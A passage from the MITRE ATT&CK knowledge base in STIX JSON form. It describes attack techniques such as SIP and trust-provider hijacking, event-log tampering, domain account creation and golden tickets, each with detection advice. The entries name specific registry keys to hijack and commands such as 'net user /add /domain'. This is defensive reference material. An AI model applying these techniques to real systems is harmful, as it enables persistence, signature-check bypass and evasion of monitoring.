signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Application whitelisting","Autoruns Analysis","Digital Certificate Validation","Process whitelisting","User Mode Signature Validation"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T15:35:28.784Z","name":"Account Discovery","description":"Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Daniel Stepanic, Elastic","Microsoft Threat Intelligence Center (MSTIC)","Travis Smith, Tripwire"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Office Suite","Identity Provider"],"x_mitre_version":"2.5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","File: File Access"],"type":"attack-pattern","id":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","created":"2017-05-31T21:31:06.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1087","external_id":"T1087"},{"source_name":"AWS List Users","description":"Amazon. (n.d.). List Users. Retrieved August 11, 2020.","url":"https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"},{"source_name":"Google Cloud - IAM Servie Accounts List API","description":"Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.","url":"https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"},{"source_name":"Elastic - Koadiac Detection with EQL","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jon Sheedy","Heather Linn","Walker Johnson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","type":"attack-pattern","created":"2017-05-31T21:31:08.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1090","url":"https://attack.mitre.org/techniques/T1090"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/","description":"Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.","source_name":"Trend Micro APT Attack Tools"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2021-08-30T19:16:11.648Z","name":"Proxy","description":"Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).","x_mitre_version":"3.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-14T22:11:30.271Z","name":"Command and Scripting Interpreter","description":"Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_deprecated":false,"x_mitre_detection":"Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Linux","macOS","Windows","Network","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"2.5","x_mitre_data_sources":["Script: Script Execution","Process: Process Creation","Process: Process Metadata","Module: Module Load","Command: Command Execution"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","created":"2017-05-31T21:30:49.546Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059","external_id":"T1059"},{"source_name":"Remote Shell Execution in Python","description":"Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.","url":"https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python"},{"source_name":"Cisco IOS Software Integrity Assurance - Command History","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"},{"source_name":"Powershell Remote Commands","description":"Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.","url":"https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-02-14T21:50:32.531Z","name":"Indicator Blocking","description":"An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors (Citation: LemonDuck).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Rob Smith","Lucas Heiligenstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.4","x_mitre_data_sources":["Command: Command Execution","Sensor Health: Host Status","Windows Registry: Windows Registry Key Modification","Process: Process Creation"],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems"],"type":"attack-pattern","id":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","created":"2020-03-19T19:09:30.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/006","external_id":"T1562.006"},{"source_name":"disable_win_evt_logging","description":"Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.","url":"https://ptylu.github.io/content/report/report.html?report=25"},{"source_name":"LemonDuck","description":"Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022.","url":"https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/"},{"source_name":"Microsoft Lamin Sept 2017","description":"Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"},{"source_name":"Microsoft About Event Tracing 2018","description":"Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.","url":"https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"},{"source_name":"Medium Event Tracing Tampering 2018","description":"Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.","url":"https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-01T04:37:36.774Z","name":"Domain Account","description":"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.(Citation: Savill 1999)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","User Account: User Account Creation"],"type":"attack-pattern","id":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","created":"2020-01-28T14:05:17.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1136/002","external_id":"T1136.002"},{"source_name":"Microsoft User Creation Event","description":"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"},{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-16T16:09:45.795Z","name":"Employee Names","description":"Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.0","type":"attack-pattern","id":"attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156","created":"2020-10-02T14:57:15.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1589/003","external_id":"T1589.003"},{"source_name":"OPM Leak","description":"Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.","url":"https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Dave Westgard","Elia Florio, Microsoft","Mnemonic","RedHuntLabs, @redhuntlabs","ExtraHop"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","created":"2019-02-14T16:15:05.974Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1482","url":"https://attack.mitre.org/techniques/T1482"},{"source_name":"Microsoft Operation Wilysupply","url":"https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/","description":"Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019."},{"source_name":"AdSecurity Forging Trust Tickets","url":"https://adsecurity.org/?p=1588","description":"Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019."},{"source_name":"Microsoft Trusts","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)","description":"Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019."},{"source_name":"Microsoft GetAllTrustRelationships","url":"https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships","description":"Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019."},{"source_name":"Harmj0y Domain Trusts","url":"https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944","description":"Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)","modified":"2022-06-16T19:18:22.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Domain Trust Discovery","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Script: Script Execution","Network Traffic: Network Traffic Content","Process: OS API Execution"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itamar Mizrahi, Cymptom"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","type":"attack-pattern","created":"2020-02-11T19:13:33.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1558.001","url":"https://attack.mitre.org/techniques/T1558/001"},{"url":"https://adsecurity.org/?p=1640","description":"Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.","source_name":"AdSecurity Kerberos GT Aug 2015"},{"url":"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf","description":"Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.","source_name":"CERT-EU Golden Ticket Protection"},{"url":"https://adsecurity.org/?p=1515","description":"Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.","source_name":"ADSecurity Detecting Forged Tickets"},{"description":"Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.","url":"https://adsecurity.org/?p=483","source_name":"ADSecurity Kerberos and KRBTGT"},{"source_name":"Stealthbits Detect PtT 2019","url":"https://blog.stealthbits.com/detect-pass-the-ticket-attacks","description":"Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."},{"source_name":"Microsoft Kerberos Golden Ticket","url":"https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285","description":"Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."}],"modified":"2020-11-05T16:07:03.779Z","name":"Golden Ticket","description":"Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), 